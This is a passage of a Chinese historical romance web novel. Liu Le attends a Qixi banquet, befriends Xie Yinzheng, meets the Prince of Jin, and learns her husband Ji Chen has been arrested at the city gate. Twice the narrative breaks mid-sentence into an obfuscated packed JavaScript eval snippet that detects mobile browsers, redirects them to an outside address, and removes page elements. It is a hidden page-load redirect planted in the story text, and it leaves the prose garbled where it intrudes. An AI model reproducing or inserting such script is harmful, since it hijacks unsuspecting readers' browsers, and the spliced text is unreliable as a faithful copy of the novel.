“我知道太太没有旁的意思，只是我——我的确有许多不到之处。”柳乐勉强笑笑，“又何必说这些，好聚好散罢。” “不是，肯定是娘说了什么。”计晴大哭，“要是哥哥回来不见你，他定然会去找你，你不回来，他也不会再回来了。娘哪能不知道这个利害？她不会说那种话，便是说了，也早后悔了。你别走，我们跟你道歉还不成么。” 巧莺忙去关门，急得说：“计姑娘你好生劝劝我们姑娘，别大声嚷嚷，没事都生出事了。若是误会，解开便罢，别说什么道歉不道歉，我们姑娘也当不起。” 一语提醒了计晴，擦去眼泪笑道：“二嫂，我不懂事，你舍不得骂我，等二哥回来让他教训我，只是你替我求个情，别骂太重，我以后都改。” 柳乐听了巧莺的话也正不好意思，觉得自己反倒不如巧莺明白。当初是因为冲动也好，糊涂也罢，已经和计晨结成了一家人，若这是个错误，如今再负气抽身，却是错上加错。退一步讲，就是真要散，也是等计晨回来，和他先说个明白，哪能像孩子一样任性，只顾自己一时痛快，令计、柳两家人面上难看，心里不好受呢？ 这样一想，她惭愧地对计晴说：“是我不对，不该和母亲认真赌气，我去向母亲道个歉。” 计晴忙说：“你也别去，不然娘心里更不好受了，咱们就当没这一回事。我和你说实话，娘刚才就是让我来探探，她说，你二嫂要是不肯理你，你就多提提你二哥，也别提我。我问，娘到底说了什么，她说，我也忘了，我这张嘴，最好是让她也赶紧忘了。嫂子你都忘了罢。——哥哥在信上还说什么了？” 柳乐这才想起计晨的信还在床上丢着，便进去拿出来。 计晴见她还未拆信，性急地说：“你快看看。哥哥说他差事已全部办妥，即刻便返程。信送来得十天吧，那他就已经在路上走了十天了。这样一算，月底前准能到家，这不是比之前说的早一个月？” 原来计晨头一次远行，又记挂新婚妻子，虽身负重任，偷闲也有几封家书回来。除了禀父母的书信，他每次必另外单给柳乐写一封书。他一早就说预计八月下旬可返京，给柳乐的信中还特意说届时将一路快马加鞭，争取与她月下团圆。 柳乐打开信，走到窗边去读。 这封信与以往不同，还是一样工整稳健的笔体，但纸上只落了一句话：“甚念吾妻，归心似箭。” 柳乐愣住。这几个字她曾看到过，不是写出来——禹冲有回在信末一个冲字落款下又信手涂了一支小箭，也不知施了什么法，那箭一看就是嗖嗖飞着，像他走路一样，带一股风。 她心中升起对自己的怒气——难道当真忘不掉他，凭什么她要被一个死人左右？何况那时他亲口说过，说得很清楚：他做了对不住她的事，忘了他，另觅良缘。他负心也好，薄幸也好，就让他去，还有人记挂着她。 她仔细折好纸笺，放回信封中，转过身。 计晴正等得心急，向她面上一觑，笑道：“哥哥也真是，马上都要见面了，还耐烦写这么长的信。他说了什么？” “就是说他要回来的话。走，我娘给了几只鸭蛋，咱们去腌起来，等你二哥回来正好吃。他不是爱吃咸蛋？今年咱们还要自己蒸月饼，我来做馅儿，比外头的馅子好。” 8. 柳乐和音徵 转瞬到了七夕，这一日是谭家老太太过寿。她的一个儿子谭知义任国子监祭酒时，对计晨非常赏识，两家一直走动不绝。本来董素娥是要去，但她偏巧害胸疼，已在床上躺了一天。 柳乐去服侍，董素娥强坐起来，哼哼了几声说：“老毛病了，不碍事，有你大嫂就行，你和晴儿去吧。她老人家只喜欢你们年轻孩子，要不我老早领你去拜见了。这回若不是实在动弹不了——前两天不该出门，伤了气，只好你代晨儿去磕个头，也替我赔个礼。” 柳乐答应了，出来准备。计晴劝她还穿那条绿裙：“二嫂你穿它真好看，今日才是你露脸的时候呢。” 柳乐执意不肯，非但如此，连原先一条绿绸裙也不愿上身；因是给长辈贺寿，就穿了那件金枝绿叶蓝缎裙子，倒也清丽典雅。计晴瞧了便无话说，仍穿新买的樱桃色纱裙，只换了件荷叶绿衫子，更显出几分娇媚。她悄悄对柳乐道：“他们家好玩的。不是正好七夕么，往年在他们家吃完席，女客都不走，姑娘们下午在园子里玩，投壶斗草那些，晚上才最有趣，还要拜织女。” 柳乐到底比计晴大不了多少，仍是爱玩的时候，闻言觉得有趣，又担心董素娥的病，说：“母亲要不要紧，不然我先回来。” “不要紧，你要是丢我一个人在那儿，娘更不放心了。以前都是她和爹先回家，哥哥总要陪他老师还有那些同门谈半日话，晚上伴我一道回。如今娘在家好生休息，你也不用和人应酬，咱两个好好玩一日，回头讲给哥哥听，他肯定羡慕。” 计晴如此说，柳乐也就安下心。出嫁前的两年，她几乎没怎么出过家门，嫁来后，陪董素娥拜过几次客，无非是太太奶奶们坐在屋里说话，虽不致十分拘谨，却实在没意思，因此她早就盼着能和年轻姑娘们畅快玩一回。 谭家老太太身体硬朗，喜欢说笑，还时常进宫陪太皇太后叙话；她两个儿子都在京里做官，二儿子又有很多学生，因此来拜寿的人络绎不绝，宴会热闹非常。 柳乐和计晴进屋磕了头，老太太忙招呼她们在身边坐下，向柳乐看了又看，点头说：“计晨那孩子该打，真沉得住气，把个宝贝媳妇藏这么严实。”又对计晴笑道，“如意了吧，得了这么个好嫂子？”计晴抿着嘴只管笑。老太太又问计晨何时回来，说了一阵才放走，要她们“去小园子里耍耍。” 因亲友众多，谭家设了流水席，孙辈几人并媳妇们分别陪男女宾客宴饮。席上的果菜十分精美，但究竟谁也不认真为吃饭才来，柳乐二人不过略坐一坐应个景，便下席更衣盥手，往花园去逛。 这花园实在不算小，湖石花木、亭台轩榭，好不清雅。计晴悄悄告诉柳乐京里出名的几处花园：“这也是一个，还有先皇题的字。” 柳乐左看看右瞧瞧，不禁想要是家里也有一间大园子，爹娘该多喜欢。 “盖这样的园子要不少钱吧。”她问。 “咱们家可别想，娘不答应。”计晴拧着眉说，“一没有这么大的地方；二来搬这些山石，还有盖亭子可费钱。大概要……一万两吧。”她信口说道。 “一万两。”柳乐叹一声，可是心里已着起了一小团火苗。别家的园子也不是地里长出来的，只要有本事，自然能设法把日子过好，她暗自琢磨。 “你要是喜欢，告诉二哥，他一说准成。”计晴轻轻一推柳乐。“几块石头、几盆花能值多少，主要还是缺这一片地方。眼看二哥要发达了，他肯定愿意让你住在有大花园的房子里，咱们把隔壁屋子买下来不就有了。我就要间小屋，前头种白牡丹，再搭个秋千架，等我回来住上一半日便知足了。” “从哪回来？”谭家一位姑娘谭若金忽地从山子后往外一跳，抓住计晴，“好不害臊，让我听听，到底是从哪儿回来。” 计晴没提防说错了话，脸羞得红布似的。“少胡说，我们在这儿羡慕你家园子呢。” “不用羡慕，你想天天住也行。”谭若金拖着腔，意味深长道。 “今天客人真多。”计晴把话岔开。 “谢五姑娘也来了。” “在哪儿？”计晴立即四望。 柳乐仿佛看见池塘边有个红艳艳的身影一闪——她总觉得谢五姑娘穿红。 “早走了，她没停留。”谭若金说，“不过她姐姐在，就是都御史夫人，待会儿她可能过来。” “哦。”计晴干干应了一声。但柳乐立即忘了见不着谢五姑娘的遗憾，巴望着见一见谢家昔日的二姑娘。 她早就从计晴口里听说了谢家二姑娘的故事：太后的侄女，曾与晋王爷定过婚约，婚约取消后，谢二姑娘作为续弦嫁给了都察院御史黄通——虽然计晴眼里黄御史已经算是半个老头子，其实他只三十多岁，是都中最年轻的三品官员，一般人都认为他前途不可限量。 柳乐并非在意这些。她一是仰慕谢姑娘的美貌和才华，二是因为谢姑娘只比她早成亲几个月，而且……反正她觉得两人会谈得来。 谭若金说不了几句话就急着走，“我母亲叫我。你们千万待到晚上，那时候咱们好好玩。”她嘱咐道。 谭家老太太有个得意的孙媳妇，叫做杨敏，性子非常活泼、善戏谑。谭家设宴待客时，她总是陪姑娘和年轻奶奶们谈天。姑娘们无论自己爱不爱说笑，没有人不喜欢她的。 柳乐和计晴把整个园子转完一遍，就见杨敏伴着一位身形苗条的女郎进来花园。 “那个就是谢二姑娘？”柳乐瞧了一眼，几乎有些失望。细看去，谢二姑娘长得的确美，远山眉，寒波目，脸上有几分谢五姑娘的影子——可非得细看才行。这时她穿一身藕荷色的对襟衫，软黄裙子，温温柔柔的颜色，但是一点儿都不起眼。 杨敏和她在一只亭子里坐下，柳乐等人都上去招呼问好。 柳乐是初见，杨敏为她们介绍了。不知为何，柳乐觉得很难称她谢夫人，便唤了一声：“谢姐姐。” 谢家姑娘眼睛里笑了一下：“柳妹妹。” 与众人问候毕，谢二姑娘重新坐下，向柳乐望一眼，不动声色向旁边让了让。坐在那儿成了件再寻常不过、又令人喜悦的事，柳乐去坐了，隐隐感到羞涩、得意。 她突然看明白了谢二姑娘的美：她根本不在乎自己美不美，却在意自己是不是“好”，并好强地希望别人注意到，又轻视瞧不出的人。纵然心中含着忧伤，那一瞬间如阳光刺破雾霭，她的眼睛分明地说：“我见你就像见到二月的青草地一般欢喜，我知你亦然。” 柳乐亦然。 叙了几句闲话，谢二姑娘对杨敏道：“今天你们是忙上加忙，不用陪我，我愿意自己坐一会儿。” 杨敏也不多客套，起身说：“我知道，连你要走时也不必来说，和以前一样，不论规矩。” 姑娘们各自找相熟的玩伴去了，亭中只剩谢二姑娘和柳乐两个人。谢二慢慢捧起茶杯，呷一口说：“我小时候常来玩，就在这个园子。” “我还是第一次来。” “那你是愿意去转转吧，我不该拉你陪我。”谢二姑娘抱歉地说。 “我倒是转过了，不过姐姐先安静歇歇，我再去那边瞧瞧去，等下再来。”柳乐恐怕刚才是会错了她的意思，急忙就要站起身。 谢二姑娘拉住她，“你要是不着急去玩，先陪我说说话，其实我不愿一个人，又不想好多人，两个人就正好。” 柳乐便又坐下，谢二姑娘看着她，郑重道：“你肯不肯告诉我你叫什么名字？” 除了很近的亲友，女子闺名一般不示于外人，无论男女。谢二姑娘和她才是初见，这个要求很奇怪，但柳乐只觉得快活。“有什么不肯？”她笑了，“我单名一个乐字。” “月亮的月？” “不是，乐曲的乐。” “呀，柳乐，更好了。”谢二姑娘不知为何很高兴，又打量了柳乐几眼，“你一定是春天生的吧。” “倒不算，我是四月初的生日，到孟夏了。” “真巧，我也是生在四月初。”谢二姑娘的笑声如珠子般圆柔动听，“‘孟夏之月……其音徵。’我叫谢音徵，读‘筝’音是为好听。你瞧，咱们生日很近，名字的意思也近。” 柳乐猜测谢二姑娘比自己大不了许多，她看起来也的确非常年轻，几乎还像个待字的少女，可她身上又有一种自信、沉静、高雅不凡的态度，不光在少女中少见——柳乐知道，自己也是远远不能企及。柳乐不由非常羡慕谢音徵，听见说两人名字、生日相近的话，高兴得双目闪亮：“真的！” 但她马上又变得谦虚了，说道：“姐姐正该叫这样的名字，可我对音律一窍不通，不懂乐器，不敢和姐姐比。” “谁还敢说自己懂，没事的时候拨弄几下罢了。那也是先前，如今这一年我都没碰过它们了。” “为何？”柳乐不解。 “家夫不喜乐器，家里也没人有耐烦听。” “怎会不喜欢，一定是衙门里公务冗繁，难得闲情。像我，虽有闲情，可惜不会，只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢音徵又说：“他们不过给了我一个名字。我与谢家的关系，大概就只剩这么一些了。” 猜测别人的私事很不礼貌，更不应当再多问，柳乐正想岔开话，谢音徵又扭头对她笑起来，道歉说：“今日我很高兴，怎么总对你说那些扫兴的事，实在不该。我刚才的意思不是弹琴不好，我喜欢琴，弹琴也是下过苦功的。——你摸摸。”她伸出左手给柳乐。 柳乐轻轻抓住这只纤长的手，它比看起来要更有劲。她摸到谢音徵指腹上的薄茧，钦佩道：“谢姐姐果然是真功夫。” 谢音徵笑道：“现在薄了些，先前还要更厚。”她看着自己的一双手，用力把五根手指张开，“从小我就学各种乐器，别人都夸我，我心里也不是不高兴。不过，就我自己来说，若只为高兴，我宁可去做旁的事。——若能由我，我愿意有事业可作。不是说那种轰轰烈烈、能传世的大事业，不拘是什么，只要是一桩真正的事情。音乐能打动人，但我那样的不行，琴也好箫也好，由我弹奏，只是给大家提供些可有可无的消遣罢了——封嬷嬷说得不好听，但也有点儿对，是‘靡靡之音’。我想做能为人带来益处的事——哪怕只是一两个人。” 柳乐看着谢音徵把手指收紧成拳，豁然开朗地想：世上没有弱而美的事物，原来一样东西美，它一定有力。 她对谢音徵的敬爱又增一层。 “你恐怕在想我是说大话吧？”谢音徵突然问，带着一种调皮的神气看着柳乐。 “没有。我正想向姐姐请教……” “没什么可请教的，我确实是说大话。”谢音徵计谋得逞般笑起来，引得柳乐也一齐笑了。 两个人笑了半日方住，谢音徵说：“好了，现在你又欢喜了。你该欢欢喜喜的，我一看见你就想，这个妹妹笑起来才美呢。” 柳乐害羞地垂下头，暗想：她指的不是谈话中，是一看见我，她看出什么了？我看她心中含忧，莫非她看我也是如此？ 谢音徵又说：“前头我说那大话——做姑娘时，我确实是那般想的，不过自从……我就发现只是些空想。”她踌躇了一小阵，很快便坚定地说下去，“在我虽是空想，但我说的那些事，不单指我去做——不管谁做到了，我都高兴。今日我这么高兴，便是因为一位朋友，先前他也常来这儿。本来他……本来他什么也做不了，空有一身本事，却无法施展。他那样一个人，若自己知道，或许恨不得干脆死了也罢。想起来，我便为他难受。可如今——我把死字说得太轻易，还是活着好，如今，他又可以做许多的事，因此我高兴。” 她飞快地垂下眼睛，柳乐只看见她眼中星星也似亮晶晶的一闪，忽然醒悟：她是在说晋王爷。 可惜那位王爷根本配不上她，一百个配不上。 对待友人，她纯粹、真挚、一心一意，使人动容，可偏是这样一位朋友，又令人替她不值。 为这个不值，柳乐险些要掉下泪。 9. 月亮和纺锤 一个丫环跑入亭子说：“夫人，前头传话过来，老爷要回去了。” “就来。”谢音徵跳起身，向柳乐告别，“回头再见，柳妹妹。待会儿看见谭夫人，替我说一声。” 柳乐连忙答应，看主仆二人步履匆匆出花园去了。 她忽然觉得怪没意思，闷闷在亭中坐了一会儿，不由又向谢音徵离开的方向望去，正好见到一群人穿过小小的月洞门。 她十分诧异：那位穿着宽袖紫袍的白发老人显然是谭家老太爷，晋王相隔一步立在他身后，旁边站着谭家两位老爷和几名管事家人。只见晋王低头不知说了什么，老太爷笑了一阵，又向儿子说了几句话，叫人扶着出去了，晋王则由两位老爷引着，直往园子走来。 柳乐想起计晴说过谭老太爷是晋王的老师，那他当然要来为师母贺寿。不过男客们都在前头书房谈话，独他一人来了花园。 好在他们没朝这边走，柳乐便坐着不动，看他们慢慢步出回廊，沿着水边柳荫小道，一径向涵玉台方位而去——正有许多人在那边玩耍。路上也有三两位姑娘无处避让，低着脸上前见礼。晋王每次都停下脚，躬身回礼，那副谦逊之态与几日前在行宫见到时判若两人。 柳乐将目光掉开。 过了约莫两刻钟，脚步声响，是计晴跑了来，问道：“谢夫人走了？什么时候走的？” “走了一会儿了。” “这么说她没见着……” 柳乐摇摇头，站起身，“咱们射箭去。” “我刚从那边过来，已经散了。” “这就散了，还没等我试一把呢。”柳乐满心遗憾。 “刚才你不去，被赵姑娘赢了，好出了一场风头，连王爷都瞧见了，然后谁还有心思再玩。”计晴顿住，又问，“刚才晋王爷进来，你怎么没去看看？” “有什么好看，他是神仙下凡不成？” 她们姑嫂两个说话向来随便，这时见周围无人，计晴笑道：“不止下凡，还是故地重游来了。我听谭家老爷的意思，晋王爷先前常来这里，这次大概是为了试试看能不能想起过去的事。” “原来是触景生情的意思么，那也该另挑个时候。”柳乐低声说。谢音徵前脚刚走，他后脚就进来，显然谭家人也怕他们见面尴尬。无论如何，她觉得晋王今日不该进这园子，方合礼数。 计晴好奇地琢磨：“你说他知不知道谢二姑娘今天也过来，或者是……” “管他呢，和咱们又不相干。还有什么好玩的？” “没了，等着晚上玩吧，咱们去找她们说说话去。” 计晴说得没错，对年轻姑娘们来说，谭家这一日，到了晚上才最热闹。 天刚刚暗下来，花园里已点上了数十盏彩灯，姑娘们像张着翅的彩蝶在灯影下飘来飘去，渐渐地都聚拢在杨敏周围。 杨敏张罗着大家吃巧果、玩游戏，姑娘们嘻嘻哈哈笑闹，其实每个人都羞涩得紧，为了掩饰羞涩，反更起劲地去打趣别人。 柳乐吃了几个果子，和人说笑几句，看着预备要拜织女了，她悄悄站起身，想要独自一个去走走。 她顺着绕塘一周的长廊缓步而行。身后姑娘们的欢声笑语、足畔虫儿清扬的鸣叫，这些声音犹使夜晚显得安宁、甜蜜。但柳乐心中并非这般安宁、甜蜜：她不能像那群兴致勃勃的姑娘一样快活，可也没道理伤悲，夜色在她心中激起的是一种说不出的感觉。她不由又想起了谢音徵，“她和我一样，我们很难忘记人。”她默默地对自己说。 一直走到池塘另一边，柳乐止步站住，举目望向天空。这时的月亮正像只圆背梳子，不知是不是已在哪里梳了几下，梳得夜风清凉如水。 她低下头，半枚亮闪闪的圆镜在水中轻轻晃动。 有人轻声说：“你也觉得此处适合赏月？” 柳乐结结实实吓了一大跳。蹦过身看时，黑黢黢的树影中站出一个人。 她本以为是谭家的人，定睛一瞧，却是晋王，更觉对方无礼——一般也是个客人，明知园子里都是女客，他偷偷一个躲在这里不知是何用意。 “你不是早该走了么？”她冲口想问，可毕竟不好批评别人的为宾为主之道，硬生生咽了回去。 “民妇不知殿下在这儿，冲撞了。” “无事。”晋王大度地摆摆手，神情比主人还像主人。“我原是存着小心，有意避开客人们，以为彼此好相安无事。我倒是忘了，来客这么多，难保不碰上几个爱乱跑的。” “实在对不住，殿下在这儿回忆前事，民妇多扰了。”柳乐转身要走。 “等等。”晋王从后面唤，“我有事想请教。” 柳乐听他声音焦急，到底顿住脚，说：“殿下要我去请主人过来？” “不，我是想问你。” “民妇只是来做客，恐怕帮不了殿下。”柳乐一边说一边暗悔自己不该往这边来，偏偏碰上晋王，此处又是幽静昏暗，要是叫人看见，尴尬得很。晋王心中无大礼，她亦用不着和他讲小节，还是走了是。 “帮得了。你我都是来客，咱们一样，我正想问个和我一样的人，岂可当面错过？——别急别急，我真要问你，我不是为回忆前事，那是随口诓人的，我是为……”晋王说着一迈步，挡了柳乐去路，深深看她一眼，笑道，“正好问问你，你可喜欢这一处景？”少停，他解释说，“我最近正翻修家里的花园，不免到处看一看，琢磨琢磨，好扬长避短。不光要看日头下，还要考虑风时、雨时、雪时。这些还好，已被人想得多了，唯独夜晚，还有可探究处。比如这月亮，从升起到落下，须得有东西衬它——树梢、屋檐、塔尖——不好要月儿孤孤零零。及至它升上天空，又要操心它映在哪儿，月光洒在哪儿，影的深浅、远近，那就更说不完了。” 柳乐听这话觉得怪新鲜，瞧他也不像瞎扯，可能做了王爷才有这么宽的闲心思，外加那么大的花园子去摆弄这些。 晋王认真道：“自家的园子，夜景自然极为重要。白日里我转着看了几处，就等着晚上瞧瞧。本来要绕着转一圈，不过客人们都在那儿，不便过去。你替我瞧了也行，那边的夜景比起白日如何？” “夜晚和白天当然是不一样的景致，两样都好。”柳乐说。 晋王摇摇头：“太敷衍了，你没留意看。” “恕我眼力不好，瞧不出来。” “很简单，你要是喜欢，就会多想想。”晋王说，“比方，你看月亮美不美，想不想要？我有办法给你。” “不想。”柳乐说。 “你看它太遥不可及？——我看不，只要费点心思，设计一下，我想要它在哪儿，它就在哪儿，掬在手里也不是不可以。”他抬手，拢起手指把月亮圈住。 柳乐轻轻一嗤：“我看自自然然就好，再费心思，只不过得个月亮的影儿罢了。” “说得对。谁能霸住天上的月亮？我所求不过它在地上的一片影子。”晋王侧侧身，不知拿件什么小东西向水里投去，把荡荡悠悠的半片月亮打碎了。他目不转睛盯着碎片，“虚妄吗？你以为实实在在的肉身，不过也是一样。” 柳乐没兴趣听他参禅，“殿下，民妇告辞。” “还回客人们那边？”晋王并没拦她。 柳乐点点头，顺着来路快步走去。 杨敏不知又带大家做什么游戏，只听她说：“专心点，别想出个丑八怪的样子。” “哎呀不好，这么一说，我脑子里只有丑八怪了。”一个姑娘叫道。 姑娘们围 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“怎么不算，织女娘娘灵验得很，只不过已经佑你得了如意郎君。还不快谢她，马上还要让你们夫妻团圆呢。”杨敏比出两根食指，在柳乐面前碰了几碰，一脸笑意地说，“我听说——二人重逢近在眼前了。” 忽然，她煞住嘴，旁边的笑谑声也都停歇了。柳乐顺着杨敏的目光看去，晋王正向人群走来。 姑娘们慌忙都起身行礼，晋王急忙作揖说：“不必多礼。我也在园中游玩，怕扰了诸位玩兴，不敢过来。现下我正要离开，恐悄悄去了不恭，特来向诸位告辞。” 大家听他也在花园内，岂不是一直看见她们玩闹、听见她们说话？若是别个，姑娘们脸上早写满“讨嫌”二字了，此时她们却纷纷红了脸。虽说嘴巴都不出声，可安静也并不是真的安静——要是能听到姑娘心里，这时候正像养蜂人刚刚提到田野、还没打开的蜂箱一样，嗡嗡个不住。 心里面既是撞来撞去，身外头也没法稳稳当当，不知谁碰了计晴一下，她鬓边一枝月下香掉落下来。 计晴碰巧站在离晋王最近的地方，晋王眼疾手快，抢前一步弯臂接住花，托在手中，送回计晴面前。 计晴好像给人定在原地，呆呆怔怔，忘了伸手去接。 晋王又对她笑一下，“计姑娘。” 计晴这才醒过神，小心地把花朵拿在手里：“多谢殿下。” “暂且别过。”晋王对她说，再向杨敏稍稍偏偏头，眼睫微微一抬，又落下——这一抬一落便将其他所有人包含在内，接着他后退一步，躬身一揖，转身走了。 这回姑娘们彻底安静下来。站了一会儿，谁先小声说了句要回家，于是众人都说散了罢。杨敏还要让大家去吃果子，也无人响应，便散了。 送客时，谭若金悄悄问计晴：“你认得晋王爷？” “认得——不，”计晴稍点了一下头，随即连连摇晃，脸都摇红了，“不算认得。” “他怎么认得你？” “我不知道。是不是你家里人告诉的。” 谭若金瞅着她笑：“我去问问，是不是王爷打听你来着？” “别问！怎么会？” “那你别管。”谭若金一笑跑了。 计晴急得顿足，上了车还坐不安，忽地过来柳乐旁边，抓住她胳膊：“今天好玩吧？” “好玩。” “特别是你得了纺锤，你说怎么这么巧？” “还说呢，就是那个不好。有我什么事，你们玩得好好的，我要是不过去就好了。”柳乐懊恼地说。虽然玩闹当不得真，她还是觉得自己扰了姑娘们的兴头。 “不行，非得你去。杨姐姐说得没错，你和二哥，这才叫灵验呢。”计晴咯咯地轻声笑，“等哥哥一回来，我就告诉他。” 10. 归家和城门 过了七月半，计家便数着日子等计晨归家了。家里没别的事，娘几个在一处给他做衣裳，走几针董素娥就停下问：“不知走到哪里了？怎不再来个信，好准备着。” 终于，七月二十五日收到一封短笺，已是从彭城发出的。董素娥问过丈夫又问大儿子，将路程核了几遍，算准计晨二十八下午到家。 二十八这天，董素娥一早就吩咐厨子预备下酒肉菜蔬，要为计晨接风。申时过了两刻，还不见儿子进门，她有些坐不住，唤柳乐来陪她一起等着。柳乐安静，她也跟着安宁了片刻，不一会儿又埋怨：“是不是算错了，要到明日一早？都到家门了，还不快跑几步，唉，你两个都不是急性子。” 柳乐说：“母亲莫急，晨大哥在公事上是急性子，恐怕他要先销了差才能安心。可能他到了看天早，便往衙门交代去了。”想想她蹙了眉，“怎么不见贵朴他们回家报个信？再不然就是碰见朋友，请他去吃饭，那两个嘴馋的吃酒给吃忘了。” 她又想，衙门里那些人都知道计晨在外半年，不会这样没眼色，家都不让回，硬拉他去吃酒，或许计晨是进宫去了。当初皇帝下旨委任，命他立即出发，足见事情重要，他回来自然要先面圣，复了命才好归宅。两个小厮大概在宫门口候着，也不敢乱走动。只是皇帝留他谈了这么久，不知是对他满意不满意。他写信倒没多说公事，应该并没有差错吧。 柳乐一边心中胡乱猜测，一边嘴上宽慰着婆母。董素娥实在候不及，差家人添福去衙门问问。 添福这一去，半个时辰不见回来，计衔山和计春先已下值到家了，见不开饭，都去书房坐着。柳乐自己也觉得肚饿，只怕董素娥更撑不住，悄悄吩咐厨房热了简单的饭菜，往书房送了，又请来高娴计晴，好容易劝董素娥坐下，刚吃两口，就见添福上气不接下气跑进屋说：“不好了，二爷被人抓了去。” 柳乐和董素娥一下子站起来，“谁抓他？” 来福慌慌张张答道：“还没探明白。我去二爷衙门上一问，都说不知他今日到家。我正要回来，半路碰上原先住在隔壁的刘万顺，他说去乡下看田地，刚打北门进城，看见那里有官兵拦下了几个人带走，像是咱们二爷。我一听，又赶紧跑去北城门，守门的差官不肯说，我身上也没多带银子，还是门口摆摊的货郎告诉说，一早就有十来个差人在那儿了，也没盘查过谁，不知怎的，有几个人刚进城，就被他们强拉上一辆马车，几匹马也全带了走，就一眨眼的工夫，只看清是三个人，斯斯文文的，不像匪类，这说的莫不就是二爷还有贵朴贵实他们两个？太太赶紧让大爷再去问问看吧。” 这一下如晴天霹雳，董素娥吓得全没了主意，柳乐本还报一线希望是计晨的上司在城门接他，可听描述又完全不可能。 计衔山和计春听见动静都跑来了，添福将前后再说一遍。董素娥不停打断他，一时向计春说：“刘万顺算什么东西，你还找你借过银子不是？他下乡卖田地灌了一肚子黄汤，拉扯咱们！”一时问计衔山，“晨儿定是由北门进城来？”一时又自语，“货郎是看错了，他又不认得晨儿，贵朴贵实两个小猢狲，哪里算得上斯斯文文，说的不是他们。” 计春劝住父母：“你们莫急，我去问问。”急忙让人牵马。这里几个人捱一刻如三秋地等着，过了九个秋，计春仍是独身回来，说各处衙门俱挂上了锁头，只好等明日一早再问。 董素娥不顾两个媳妇都在跟前，大骂计春不济事。柳乐劝了两句便出来，想带话给哥哥柳图，要他也帮着打听，又怕爹娘听见受惊吓，正在犹豫间，丫环来报：“柳大舅爷来了。” 柳乐忙到前面去，见了哥哥顾不上叙礼，直问道：“哥哥你听见了，究竟是怎么一回事？” 柳图亦是满面惊疑：“我听人说了一句，没头没尾的，才来问问你。计晨是今日回来？你没见到他？” “没有，他信里说今日到家，等了一天，这时还没见人。我们只听见他可能是在北城门被不知哪个衙门的差人带了去。”柳乐拣紧要的几句话对哥哥说了。 “他信里再没提别的话？” “没有，就两行字，说他快要抵京。先前的信也都是寻常家书。” 柳图皱眉思索：“计晨一向做事小心，不可能是得罪了人吧？” 柳乐摇摇头：“我觉得不可能，晨大哥肯定也没做坏事。” “那是一定。”柳图考虑一番，“事情有些蹊跷，还是早点搞清楚好。我认识个人，他和刑部尚书吴大人府上一个买办相熟，买办又识得吴大人身边的僮仆——你别看这些小门路，能打听出的并不少。我这就去问问看。” 柳乐吃了一惊：“刑部尚书？难道晨大哥犯了案？什么案子，怎要刑部的大人过问，晨大哥他……” “所以我说里头有蹊跷。”柳图小声说，“妹妹你想，妹夫他一个五品官员，圣上钦点的差事，就是府尹要拿他，也得掂量掂量，不是轻易拿得动。何况是在城门口，又做得神不知鬼不觉，让我们不得一点儿消息。” 柳乐冷笑道：“若明日还没消息，我就去衙门告状，说晨大哥光天化日被人绑了。连个由头都没有就抓了人去，还不知是谁抓的，抓去了哪儿，这不是强盗是什么？我就不信还没有王法了！” “妹妹你别急。”柳图急忙劝她，“八成是一场误会，明日就一定见分晓了。放宽心，不是还有计大人吗，他总有办法。好，我这就去了，先不去拜见计大人了，若他问起，你说我明天再来一并告罪。” “可千万别让爹知道。”柳乐叮嘱。她对计晨倒还不很担心，只怕父亲骤然又听见他的另一个学生也……这打击一定不小。 “这我晓得。”柳图在门口转身说，“要是得了消息，再晚我也让人捎个话来；若是一时打听不到，你也切莫心焦。” 这一晚计宅没有接到任何信儿，柳乐一夜辗转反侧，天未明就急忙爬起来，去婆婆屋外候着。 其他人也都到了，只听屋里传出计衔山的咳嗽声，计春的劝说声，计晴的哭泣声。 原来计衔山毕竟有了年纪，昨日一早还欢欢喜喜盼子归来，到了傍晚却忽闻儿子被官府缉了去，且不明情由，不免急火攻心，夜间犯了痰疾。这时候他气喘得说不出话，还坚持要出门，要进宫面见皇上。大家劝说不住，乱作一团。 “请了太医没有。”柳乐问。 “请过了，往常给你父亲看病的卢太医被宫里召去了，说是另派一位吴太医来，现在还没来。”董素娥呆呆望着面前不知何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092361|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物，突然哭起来，“是不是晨儿真出了事，如今连我们家人家都不肯沾惹了。” “母亲别这样想，他们事情多，恐怕一时走不开。我知道一位太医，先前给我爹看过，看得也还好，不若我去医馆请他。你和父亲要好好保重。现在什么都不知，我们先别自个儿吓坏了自个儿。晨大哥的事，我哥哥已经去打问了，一有消息他马上就来。今日散朝，无论如何会有准信了，若那时还没有，我就进宫求见皇上。”柳乐坚定地说。 “今日是二十九，没有朝会。”高娴从旁提醒。 董素娥拉着柳乐哭道：“我的儿啊，你要进宫，不知准不准你进去。” “父亲身体要紧，我先找大夫来。”柳乐匆匆出了家门。 她寻着太医，请他尽快去计家出诊，再拐过两条巷子，便是柳宅了。柳乐让马车停在巷外，要巧莺悄悄去叫柳图。 不一会儿，巧莺一人跑回来说：“大爷这时不便出来，让我们快回，一会儿怕就有人去。” “谁去？做什么？大爷知道什么了？” “大爷说他实在没打听到更多，只知今早上便要宣旨，他说事情怕是不太好。不会要姑娘接旨吧，咱们快去看看。”巧莺着急道。 柳乐这时也真正惊惶了，一路心急如焚。走到计宅的巷口，马车停下，她掀帘一看，一行人正朝外走，居中一人身着绯色官服，大摇大摆骑在马上，前后又有十来人跟从，看来正是宣旨的官员。 等他们走远，柳乐下车一瞧，又是一惊：四五名持刀兵士立在门首，围得宅门连只飞虫都不得自由出入。看她走近，兵卫们倒是让开了，也不喝问阻拦，但随即将马车查检了一番。“速速进去，老贼驴。”他们将赶车的粗暴一搡。这车夫在计家多个年头了，极是个忠厚人，见状敢怒不敢言，含泪拉马进去。柳乐强忍愤怒，奔至前厅，只见董素娥和高娴啼哭不住，计春在一边长吁短叹。 “怎么了？父亲怎样？” 